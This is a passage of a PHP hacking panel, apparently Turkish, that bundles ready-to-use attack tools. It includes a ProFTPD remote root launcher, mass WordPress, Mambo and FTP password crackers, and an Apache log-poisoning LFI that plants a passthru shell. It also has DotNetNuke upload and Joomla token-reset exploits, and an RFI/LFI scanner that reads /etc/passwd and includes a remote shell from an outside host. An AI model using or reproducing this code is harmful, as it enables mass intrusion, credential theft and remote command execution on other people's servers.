    public function perl($ipler,$ipadresin,$sayi){
     
     
    $calistir=shell_exec("perl proftpd.pl ".$ipler." ".$ipadresin." ".$sayi."");
     
     
    echo "<font size=\'3\' color=\'white\'>".$calistir."</font><br>";
    ob_flush();
    flush();
     
     
    }
     
    }
     
     
    echo \'<center><title>ProFTPD IAC Remote Root Script - </title>
    <body bgcolor="black">
    <form method="post" action="">
    <font size="5" color="red">Redsecurity</font> <font size="5" color="white">ProFTPD IAC Remote Root Script[Priv8]</font><br><br><font size="2" color="white">Ipler : </font><br><textarea name="ipler" cols="35" rows="5"></textarea><br>
    <font size="2" color="white">Seim : </font><br><select name="secim">
    <option value="0">0</option>
    <option value="1">1</option>
    <option value="2">2</option>
    <option value="3">3</option>
    <option value="4">4</option>
    <option value="5">5</option>
    <option value="6">6</option>
    <option value="7">7</option>
    <option value="8">8</option>
    <option value="9">9</option>
    <option value="10">10</option>
    <option value="11">11</option>
    <option value="12">12</option>
    </select><br>
    <font size="2" color="white">IP adresiniz : </font><br><input type="text" name="ipadresin"><br>
    <input type="submit" value="w00t">
    </form>
    </body>
    </center>\';
     
     
    if(! $_POST[\'ipler\']==""){
    $pro=new proftpd();
     
    $ipadresin=$_POST[\'ipadresin\'];
    $ipler=explode("\n",$_POST[\'ipler\']);
    foreach($ipler as $ip){
    $ip=trim($ip);
    if($_POST[\'secim\']==0){
    $pro->perl($ip,$ipadresin,\'0\');
    }
    if($_POST[\'secim\']==1){
    $pro->perl($ip,$ipadresin,\'1\');
    }
    if($_POST[\'secim\']==2){
    $pro->perl($ip,$ipadresin,\'2\');
    }
    if($_POST[\'secim\']==3){
    $pro->perl($ip,$ipadresin,\'3\');
    }
    if($_POST[\'secim\']==4){
    $pro->perl($ip,$ipadresin,\'4\');
    }
    if($_POST[\'secim\']==5){
    $pro->perl($ip,$ipadresin,\'5\');
    }
    if($_POST[\'secim\']==6){
    $pro->perl($ip,$ipadresin,\'6\');
    }
    if($_POST[\'secim\']==7){
    $pro->perl($ip,$ipadresin,\'7\');
    }
    if($_POST[\'secim\']==8){
    $pro->perl($ip,$ipadresin,\'8\');
    }
    if($_POST[\'secim\']==9){
    $pro->perl($ip,$ipadresin,\'9\');
    }
    if($_POST[\'secim\']==10){
    $pro->perl($ip,$ipadresin,\'10\');
    }
    if($_POST[\'secim\']==11){
    $pro->perl($ip,$ipadresin,\'11\');
    }
    if($_POST[\'secim\']==12){
    $pro->perl($ip,$ipadresin,\'12\');
    }
     
    }
     
    }
     
        }
        if( $red == "bruteci" ) {
    ob_start();
    error_reporting(0);
    set_time_limit(0);
    #Wordpress Mass Brute Forcer#
    #Codex-x By izleyici#
    #Siteleri http://www.site.com/ Seklinde verin#
     
    echo \'<title>Wordpress Mass Brute Forcer</title>
    <form method="post" action="">
    <style type="text/css">
    <!--
    body,td,th {
       color: #FFFFFF;
    }
    body {
       background-color: #000000;
    }
    .siyah {
       color: #FFFFFF;
       background-color: #990000;
    }
    .style2 {
       color: #FFFFFF;
       background-color: #990000;
       font-weight: bold;
       font-size: 24px;
    }
    -->
    </style>
    <div align="center" class="style2">Wordpress Mass Brute Forcer </div>
    <p align="center">&nbsp;</p>
    <p align="center">
      <textarea name="sitelist" cols="40" rows="10" class="siyah" id="sitelist"></textarea>
      <br>
      <br>
    Sifre Listesi: <input name="liste" type="text" value="sifreler.txt"><br>
      <input type="submit" class="siyah" value="Tara yigen">
    </p>
    </form>\';
    $sitelist=explode("\n",$_POST[\'sitelist\']);
    foreach($sitelist as $yenilist){
    $temiz=trim($yenilist);
    $site=$temiz;
     
    if(! $_POST[\'sitelist\']==""){
    $pass=htmlspecialchars($_POST[\'liste\']);
    foreach(file($pass)as $password){
     
    $curl = curl_init();
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($curl,CURLOPT_URL,$site.\'/wp-login.php\');
    curl_setopt($curl,CURLOPT_COOKIEJAR,"coki11.txt");
    curl_setopt($curl,CURLOPT_COOKIEFILE,"coki11.txt");
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($curl,CURLOPT_POST,TRUE);
    curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=$password&wp-submit=Log+In&redirect_to=.$site./wp-admin/&testcookie=1");
     
    $a = curl_exec($curl);
     
    if(eregi ("profile.php",$a)){
     
     
          echo \'<center><a href="\'.$site.\'/wp-login.php?redirect_to=\'.$site.\'/wp-admin/reauth=1" target="_blank">\'.$site.\' user=admin pass=\'.$password.\'</a></center>\';
    $izbak=fopen("ok.php",a);
    fwrite($izbak,$site.$password."<br>\n");
    ob_flush();
    flush();
     
    }
    }
    }
    }
        }
        if( $red == "shellci" ) {
    ob_start();
    set_time_limit(0);
    echo \'<center><title>Shell Kontrolc </title>
    <form method="post" action="">
    Siteler ; <br><textarea name="siteler" cols="35" rows="7"></textarea><br>
    <input type="submit" value="tara">
    </form>
    </center>\';
     
    if(! $_POST[\'siteler\']==""){
     
    $siteler = explode("\n",$_POST[\'siteler\']);
    foreach($siteler as $sites){
    $sites=trim($sites);
    $curl=curl_init($sites);
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    $exec=curl_exec($curl);
    if(eregi(\'safe_mod\',$exec)){
    echo \'<a href="\'.$sites.\'">\'.$sites.\'</a><br>\';
    ob_flush();
    flush();
    }
    }
     
    }
        }
        if( $red == "apache" ) {
    $komut = $_POST[\'komut\'];
    $site = $_POST[\'site\'];
    $site1 = $_POST[\'site1\'];
    echo \'
    <br><h3> Apache Log Enjekte</h3><br>
    <font color=blue>
    ### Kullanim ###<br><br>
     
    rnek :<br>
    <br>
    site= www.target.com<br>
    LFI= http://www.target.com/apache.log%00<br>
    Komut= ls -la<br>
    seklinde girerseniz komut sisteminin sonucunu listeleyecektir <br><br><br><br></FONT>
    <form method=post action="">
    site:<input type=text name=site1 value="\';
    echo $site1;
    echo \'">
    LFI:<input type=text name=site value="\';
    echo $site;
    echo \'">
    Komut:<input type=text name=komut value="\';
    echo $komut;
    echo \'">
    <input type=submit value="BaQ">\';
    $komut = $_POST[\'komut\'];
    $site = $_POST[\'site\'];
    $site1 = $_POST[\'site1\'];
    if(isset($site)) {
    if(isset($site1)) {
    if(isset($komut)) {
    $komut1 = urlencode($komut);
    $kod = \'<t1tl8><? passthru($_GET[izo1]) ?></t1tl8>\';
    $fp = fsockopen("$site1", 80, $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "GET /$kod HTTP/1.1\r\n";
        $out .= "Host: $site1 \r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);
        fclose($fp);
    }
    $izo = file_get_contents("$site&izo1=$komut1");
    preg_match_all(\'#<t1tl8>(.*?)</t1tl8>#si\', $izo, $sitemis);
    foreach(array_unique($sitemis[1]) as $lfi) {
    echo "<h4><pre><font color=red>";
    echo $lfi;
    echo "</font></h4></pre>";
    }
    }
    }
    }
        }
        if( $red == "e107" ) {
    ?>
    <iframe src=\'http://architrave.com.my/themes/english.php\'  width=100% height=600 id="I1" name="IF1" >
    <?
        }
        if( $red == "joomlaexploit" ) {
    ?>
    <html>
    <head>
    <meta http-equiv="Content-Language" content="fr">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <title>#~JooMla serv3r ScaNN3r</title>
    <style>
    body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
    A:link {text-decoration: none;color: red;}
    A:active {text-decoration: none;color: red;}
    A:visited {text-decoration: none;color: red;}
    A:hover {text-decoration: underline; color: red;}
    #new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
    input:hover,tr:hover,td:hover{background-color: #FFFFCC; color:green;}
    </style>
    </head>
     
    <body>
     
    <p align="center">&nbsp;</p>
    <p align="center">&nbsp;</p>
    <p align="center">&nbsp;</p>
    <p align="center"><font size="3">#~JooMla serv3r ScaNN3r</font></p><br>
    <form method="POST">
        <p align="center"><input type="text" name="site" size="65"><input type="submit" value="ScaN"></p>
    </form><center>
    <?php
    @set_time_limit(0);
    @error_reporting(E_ALL | E_NOTICE);
     
    function check_exploit($comxx){
     
    $link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
     
    $result = @file_get_contents($link);
     
    if (eregi("No results",$result))  {
     
    echo"<td>Not Found</td><td><a href=\'http://www.google.dz/#hl=en&q=download+$comxx+joomla+extension\'>Download</a></td></tr>";
     
    }else{
     
    echo"<td><a href=\'$link\'>Found</a></td><td><=</td></tr>";
     
    }
    }
     
    function check_com($url){
     
    $source = @file_get_contents($url);
     
    preg_match_all(\'{option,(.*?)/}i\',$source,$f);
    preg_match_all(\'{option=(.*?)(&amp;|&|")}i\',$source,$f2);
    preg_match_all(\'{/components/(.*?)/}i\',$source,$f3);
     
    $arz=array_merge($f2[1],$f[1],$f3[1]);
     
    $coms=array();
     
    foreach(array_unique($arz) as $x){
    $coms[]=$x;
    }
     
    foreach($coms as $comm){
     
    echo "<tr><td>$comm</td>";
    check_exploit($comm);
    }
     
    }
     
    function sec($site){
    preg_match_all(\'{http://(.*?)(/index.php)}siU\',$site, $sites);
    if(eregi("www",$sites[0][0])){
    return $site=str_replace("index.php","",$sites[0][0]);
    }else{
    return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
    }}
     
    $npages = 50000;
     
    if ($_POST)
    {
      $ip = trim(strip_tags($_POST[\'site\']));
      $npage = 1;
      $allLinks = array();
     
     
       while($npage <= $npages)
      {
     
      $x=@file_get_contents(\'http://www.bing.com/search?q=ip%3A\' . $ip . \'+index.php?option=com&first=\' . $npage);
     
     
        if ($x)
        {
            preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU\', $x, $findlink);
           
            foreach ($findlink[1] as $fl)
           
            $allLinks[]=sec($fl);
           
           
            $npage = $npage + 10;
           
            if (preg_match(\'(first=\' . $npage . \'&amp)siU\', $x, $linksuiv) == 0)
                break;              
        }
       
        else
            break;
      }
     
     
    $allDmns = array();
     
    foreach ($allLinks as $kk => $vv){
     
    $allDmns[] = $vv;
    }
               
    echo\'<table border="1"  width=\"80%\" align=\"center\">
    <tr><td width=\"30%\"><b>Server IP&nbsp;&nbsp;&nbsp;&nbsp; : </b></td><td><b>\'.$ip.\'</b></td></tr>            
    <tr><td width=\"30%\"><b>Sites Found&nbsp; : </b></td><td><b>\'.count(array_unique($allDmns)).\'</b></td></tr>
    </table>\';
    echo "<br><br>";
     
    echo\'<table border="1" width="80%" align=\"center\">\';
     
    foreach(array_unique($allDmns) as $h3h3){
     
    echo\'<tr id=new><td><b><a href=\'.$h3h3.\'>\'.$h3h3.\'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>\';
     
    check_com($h3h3);
     
    }
     
    echo"</table>";
     
    }
    ?></center>
    <br><p align="center">
    MaDe in Algeria (r)
    </p>
    </body>
     
    </html>
    <?
        }
        if( $red == "dotnuke" ) {
    ob_start();
    set_time_limit(0);
    /*
    Dotnuke Bug Automatic Uploader - Private [MiyaChung]
    Coded by MiyaChung
    [email protected]
    */
    class fso{
     
          public $regex = \'/A File On Your Site/\';
          public $ek    = \'/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx\';
          public $al    = "/id=\"__VIEWSTATE\" value=\"(.*?)\"/";
          public $kod   = \'javascript:__doPostBack("ctlURL$cmdUpload","")\';
          public $dizin = \'/<option selected="selected" value="(.*?)">(.*?)<\/option>/\';
         
         
          public function baglan($url,$dosya,$yaz){
         
          $curl=curl_init();
          curl_setopt($curl,CURLOPT_URL,$url.$this->ek);
          curl_setopt($curl,CURLOPT_HEADER,0);
          curl_setopt($curl,CURLOPT_VERBOSE,0);
          curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
          curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
          curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
          $exec = curl_exec($curl);
          curl_close($curl);
         
             if(preg_match($this->regex,$exec)){
         
             preg_match_all($this->al,$exec,$view);
             
             $baglan_2 = self::baglan_2($url.$this->ek,$view[1][0]);
             
             preg_match_all($this->dizin,$baglan_2,$yol);
             preg_match_all($this->al,$baglan_2,$goster);
             
             $baglan_3 = self::baglan_3($this->kod);
     
             $baglan_4 = self::baglan_4($url.$this->ek,$yol[1][0],$dosya,$goster[1][0]);
       
     
                $reg = \'/\'.$yaz.\'/\';
       
       if(preg_match($reg,$baglan_4)){
       
         
                   $url = $url."/Portals/0/".$yol[1][0].$yaz;
     
             echo \'<a href="\'.$url.\'">\'.$url.\'</a><br>\';
                ob_flush();
                flush();
               
                $kaydet = fopen(\'dusenler.txt\',\'ab\');
                fwrite($kaydet,$url."\r\n");
                fclose($kaydet);
         
             }
         
             
             }
     
         
          }
          public function baglan_2($url,$view){
         
         
          $post = array(\'__EVENTTARGET\'=>\'ctlURL$optType$2\',\'__EVENTARGUMENT\'=>\'\',\'__LASTFOCUS\'=>\'\',\'ctlURL$optType\'=>\'F\',\'ctlURL$txtUrl\'=>\'http://\',\'__VIEWSTATE\'=>\'\'.$view.\'\');
         
         
          $curl=curl_init();
          curl_setopt($curl,CURLOPT_URL,$url);
          curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
          curl_setopt($curl,CURLOPT_HEADER,0);
          curl_setopt($curl,CURLOPT_VERBOSE,0);
          curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
          curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
          curl_setopt($curl,CURLOPT_POST,1);
          curl_setopt($curl,CURLOPT_POSTFIELDS,$post);
          $exec = curl_exec($curl);
          curl_close($curl);
         
          return $exec;
         
          }
          public function baglan_3($kod){
         
          $curl=curl_init();
          curl_setopt($curl,CURLOPT_URL,$kod);
          curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
          curl_setopt($curl,CURLOPT_HEADER,0);
          curl_setopt($curl,CURLOPT_VERBOSE,0);
          curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
          curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
          $exec=curl_exec($curl);
          curl_close($curl);
          return $exec;
          }
          public function baglan_4($url,$folder,$file,$view){
               
    $post = array(
    \'__EVENTTARGET\'=>\'ctlURL$cmdSave\',
    \'__EVENTARGUMENT\'=>\'\',
    \'__LASTFOCUS\'=>\'\',
    \'ctlURL$optType\'=>\'F\',
    \'ctlURL$cboFolders\'=>\'\'.$folder.\'\',
    \'ctlURL$txtFile\'=>\'@\'.$file.\'\',
    \'__VIEWSTATE\'=>\'\'.$view.\'\');    
         
          $curl=curl_init();
          curl_setopt($curl,CURLOPT_URL,$url);
          curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
          curl_setopt($curl,CURLOPT_HEADER,0);
          curl_setopt($curl,CURLOPT_VERBOSE,0);
          curl_setopt($curl,CURLOPT_REFERER,$url.$this->ek);
          curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
          curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
          curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
          curl_setopt($curl,CURLOPT_POST,1);
          curl_setopt($curl,CURLOPT_POSTFIELDS,$post);
          $exec = curl_exec($curl);
          curl_close($curl);
         
    return $exec;
          }
     
     
    }
     
    echo \'<center><title>Dotnuke Toplu File Upload - Private [MiyaChung]</title>
    <form method="post" action="" enctype="multipart/form-data">
    Siteler ; <br><input type="file" name="siteler"><br>Dosyan ; <br><input type="text" name="file"><br>
    <input type="submit" name="scan" value="Scan">
    </form>
    </center>\';
     
    if(isset($_POST[\'scan\'])){
     
    $fso = new fso();
     
    $file = $_POST[\'file\'];
     
    $dir=$_SERVER["DOCUMENT_ROOT"]."/".$file;
     
    $siteler = explode("\n",file_get_contents($_FILES["siteler"]["tmp_name"]));
     
       foreach($siteler as $sites){
       
       $sites = trim($sites);
       
       $fso->baglan($sites,$dir,$file);
       
       }
     
    }
     
        }
        if( $red == "massftp" ) {
    ?>
    <center>
    <title>Mass FTP Cracker - Private [MiyaChung]</title>
    <form method="post" action="">
    Hosts : <br>
    <textarea name="host" cols="20" rows="4"></textarea><br>
    Users : <br>
    <input type="text" name="users"><br>
    Passwords : <br>
    <input type="text" name="passwords"><br>
    <input type="submit" name="submit" value="Crack">
    </form>
    </center>
    <?php
    /*
    Mass FTP Cracker ()
    MiyaChung
    [email protected]
    */
    set_time_limit(0);
    ob_start();
    if(isset($_POST[\'submit\'])){
    if(empty($_POST[\'host\'])){echo \'Host listesini doldurun.<br>\';}
    if(empty($_POST[\'users\'])){echo \'Users listesini doldurun<br>\';}
    if(empty($_POST[\'passwords\'])){echo \'Passwords listesini doldurun\';}
    $hosts=explode("\n",$_POST["host"]);
    $users=explode("\n",file_get_contents($_POST[\'users\']));
    $pass=explode("\n",file_get_contents($_POST["passwords"]));
     
    echo \'<center>Cracking Started,Please wait...</center><br>\';
    foreach($hosts as $hostlar){
    $hosts=trim($hostlar);
    foreach($users as $userler){
    $userz=trim($userler);
    foreach($pass as $passlar){
    $passwords=trim($passlar);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    curl_setopt($curl, CURLOPT_URL, \'ftp://\'.$userz.\':\'.$passwords.\'@\'.$hosts.\'\');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_FTPLISTONLY,1);
    $exec = curl_exec($curl);  
     
    if(curl_errno($curl)==0){
    echo "<center>".$hosts." - ".$userz." - ".$passwords." Found.</center><br>";
    ob_flush();
    flush();
    curl_close($curl);
    }
    }
    }
    }
     
     
    }
    ?>
    <?
        }
        if( $red == "joomt" ) {
    ?>
    <?php
    ob_start();
    error_reporting(0);
    set_time_limit(0);
    if (!extension_loaded(curl)){die("<b>Curl Not Supported Please Curl Library Upload</b>");}
    echo\'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
     
    <head>
    <meta http-equiv="Content-Language" content="tr" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Joomla Token</title>
    <style type="text/css">
    .style1 {
       text-align: center;
    }
    .style2 {
       text-align: center;
       font-size: large;
    }
    </style>
    </head>
     
    <body>
     
    <p class="style2"><strong>Joomla Token</strong></p>
    <form method="post" action="">
       <div class="style1">
          <textarea name="token" style="height: 120px; width: 499px"></textarea><br />
          <input type="submit" value="Tara" /><br><br>Joomla Token</div>
    </form>
     
    </body>
     
    </html>\';
    class Searcher
    {
       private $kodlar;
       private $ekle;
       private $eklex;
       private $veri;
       
       public function __construct()
       {
          $this->kodlar=null;
          $this->veri=null;
          $this->ekle="/?option=com_user&view=reset&layout=confirm";
          $this->eklex="/?option=com_user&task=confirmreset";
       }
       private function baglan($url)
       {
          $baglan=curl_init();
             curl_setopt($baglan, CURLOPT_RETURNTRANSFER, 1);
             curl_setopt($baglan, CURLOPT_URL,$url);
             curl_setopt($baglan, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\');
             curl_setopt($baglan, CURLOPT_COOKIEJAR, \'dosya.txt\');
             curl_setopt($baglan, CURLOPT_COOKIEFILE, \'dosya.txt\');
             $this->kodlar=curl_exec($baglan);
             curl_close($baglan);
             return $this->kodlar;
       }
       private function postala($site)
       {
          $adres=$site.$this->ekle;
          $hash=self::hashBul($adres);
          $url=$site.$this->eklex;
          $baglan=curl_init();
             curl_setopt($baglan, CURLOPT_RETURNTRANSFER, 1);
             curl_setopt($baglan, CURLOPT_URL,$url);
             curl_setopt($baglan, CURLOPT_FOLLOWLOCATION, 1);
             curl_setopt($baglan, CURLOPT_COOKIEJAR, \'dosya.txt\');
             curl_setopt($baglan, CURLOPT_COOKIEFILE, \'dosya.txt\');
             curl_setopt($baglan, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\');
             curl_setopt($baglan, CURLOPT_POST, 1);
             curl_setopt($baglan, CURLOPT_POSTFIELDS, "token=%27&".$hash."=1");
             $this->veri=curl_exec($baglan);
             curl_close($baglan);
             return $this->veri;
       }
       private function hashBul($kaynak)
       {
          $this->parcala=self::baglan($kaynak);
          $this->desen="/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si";
          preg_match_all($this->desen,$this->parcala,$dizi);
          return $dizi[1][0];
       }
       public function kontrol($adres)
       {
       global $tokentara;
          $postala=self::postala($adres);
          if(eregi(\'name="password1"\',$postala))
          {
             echo \'<center><style type="text/css">
             .bekleyazi {
                color: #00FF00;
             }
             </style>
     
             <p>
             <span class="bekleyazi"><strong>Found : </strong><a href="\'.$tokentara.$this->ekle.\'">\'.$tokentara.$this->ekle.\'</a></span></p></center>\';
             ob_flush();
             flush();
          }
       }
       public function __destruct()
       {
          unset($this->kodlar);
          unset($this->veri);
       }  
    }
     
    $x=new Searcher();
    $token=$_POST [\'token\'];
    if ($token)
    {
       echo \'<center><style type="text/css">
       .bekleiste {
          color: #000000;
       }
       </style>
     
       <p>
       <img alt="" src="http://www.blueicestudios.com/ajax/images/ajax-loader.gif" width="16" height="16" /><span class="bekleiste">
       Taraniyor... Lutfen Bekleyin...</span></p></center>\';
    $temiz=explode ("\r\n",$token);
    foreach ($temiz as $tokentara)
    {
    echo $x->kontrol($tokentara);
    }
       echo \'<center><style type="text/css">
       .bekleiste {
          color: #000000;
       }
       </style>
     
       <p>
       <span class="bekleiste">FINISH...</span></p></center>\';
     
    }
    ?>
    <?
        }
        if( $red == "mambo" ) {
    ?>
    <?php
    ob_start();
    error_reporting(0);
    set_time_limit(0);
    #Mambo / Limbo Mass Admin Panel Brute Forcer#
    #Codex-x By MiyaChung#
    #Siteleri http://www.site.com/ Seklinde verin#
     
    echo \'<title>Mambo / Limbo Mass Admin Panel Brute Forcer</title>
    <form method="post" action="">
    <style type="text/css">
    <!--
    body,td,th {
       color: #FFFFFF;
    }
    body {
       background-color: #000000;
    }
    .siyah {
       color: #FFFFFF;
       background-color: #990000;
    }
    .style2 {
       color: #FFFFFF;
       background-color: #990000;
       font-weight: bold;
       font-size: 24px;
    }
    -->
    </style>
    <div align="center" class="style2">Mambo / Limbo Mass Admin Panel Brute Forcer </div>
    <p align="center">&nbsp;</p>
    <p align="center">
      <textarea name="sitelist" cols="40" rows="10" class="siyah" id="sitelist"></textarea>
      <br>
      <br>
      <input type="submit" class="siyah" value="w0t">
    </p>
    </form>\';
    $ek = "administrator/index.php";
    $sitelist=explode("\n",$_POST[\'sitelist\']);
    foreach($sitelist as $yenilist){
    $temiz=trim($yenilist);
    $site=$temiz.$ek;
     
    if(! $_POST[\'sitelist\']==""){
     
       $username = \'admin\'; // CHANGE THIS
       $password = \'admin\'; // CHANGE THIS
    $curl=curl_init();
    curl_setopt($curl,CURLOPT_URL,$site);
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\');
    curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,1);
    curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
    curl_setopt($curl,CURLOPT_POST,1);
    curl_setopt($curl,CURLOPT_POSTFIELDS,"usrname=$username&pass=$password&submit=Login");
     
    $a = curl_exec($curl);
     
    if(preg_match("/admin Logout/",$a)){
     
          echo \'<center><a href="\'.$site.\'">\'.$site.\'</a></center>\';
    ob_flush();
    flush();
     
    }
    }
    }
    ?>
    <?
        }
        if( $red == "rfilfi" ) {
    ?>
    <?php
    # Mass RFI/LFI Scanner NEW - (Startpagina[GOOGLE])
    # Coded by MiyaChung
    # [email protected]
    # 19.11.2010
    # I Love You Google
    ob_start();
    set_time_limit(0);
     
    echo \'<center><title>Mass RFI/LFI Scanner NEW - Startpagina [MiyaChung]</title>
    <form method="post" action="">
    <textarea name="dork" cols="35" rows="5"></textarea><br>
    <input type="submit" name="scan" value="Scan">
    </form>
    </center>\';
     
    if(! $_POST[\'dork\']==""){
    function google($dork,$page){
    $curl = curl_init();
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($curl,CURLOPT_URL,\'http://startgoogle.startpagina.nl/?q=\'.$dork.\'&start=\'.$page.\'&source=web\');
    curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
    $exec=curl_exec($curl);
    curl_close($curl);
    return $exec;
    }
    for($id=1 ;  $id<=30;   $id++){
    $page=$id*10;
     
    $gogil=explode("\n",$_POST[\'dork\']);
    foreach($gogil as $gogo){
    $gogo=trim($gogo);
    $google = google($gogo,$page);
    $reg   = \'#<font color="\#008000"\>(.*?)</font>#si\';
    preg_match_all($reg,$google,$cikti);
     
    foreach($cikti[0] as $site){
    $site=trim($site);
    $site=explode("-",$site);
    $site=explode("=",$site[0]);
    $site=ereg_replace(\'"#008000">\',\'\',$site[1]);
    $site=$site."=";
    echo \'<center><b>Scanning URL : \'.$site.\'</b></center>\';
    ob_flush();
    flush();
     
    //LFI 1 Scan
    $bag1=$site."../../../../../../../../../../../../../../../../../../../../etc/passwd";
    $ch1=curl_init();
    curl_setopt($ch1,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch1,CURLOPT_URL,$bag1);
    curl_setopt($ch1,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
    curl_setopt($ch1,CURLOPT_TIMEOUT,\'5\');
    $ex1=curl_exec($ch1);
    if(eregi(\'root:x:\',$ex1)){
     
    echo \'<center><b><font color="red">LFI Found : <a href="\'.$bag1.\'">\'.$bag1.\'</a></b></font></center>\';
    ob_flush();
    flush();
    }
    //LFI 2 Scan
    $bag2=$site."../../../../../../../../../../../../../../../../../../../../etc/passwd%00";
    $ch2=curl_init();
    curl_setopt($ch2,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch2,CURLOPT_URL,$bag2);
    curl_setopt($ch2,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
    curl_setopt($ch2,CURLOPT_TIMEOUT,\'5\');
    $ex2=curl_exec($ch2);
    if(eregi(\'root:x:\',$ex2)){
    echo \'<center><b><font color="red">LFI Found : <a href="\'.$bag2.\'">\'.$bag2.\'</a></b></font></center>\';
    ob_flush();
    flush();
    }
    //RFI Scan
    $bag3=$site.\'http://www.titanaviation.co.in/press/l.php?\'; // YOUR SHELL
    $ch3=curl_init();
    curl_setopt($ch3,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch3,CURLOPT_URL,$bag3);
    curl_setopt($ch3,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
    curl_setopt($ch3,CURLOPT_TIMEOUT,\'5\');
    $ex3=curl_exec($ch3);
    if(eregi(\'uname\',$ex3)){
    echo \'<center><b><font color="blue">RFI Found : <a href="\'.$bag3.\'">\'.$bag3.\'</a></b></font></center>\';
    ob_flush();
    flush();
    }
     
    }
     
    }
    }
    }
    ?>
    <?
        }
        if( $red == "ports" ) {
    ?>
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
        <meta name="author" content="iJoo">
     
        <title>PHP Port Scanner, Coded by iJoo</title>
    </head>
    <!-- PHP Port Scanner - iJoo (Indosecure.net) -->
    <body>
    <center><br>
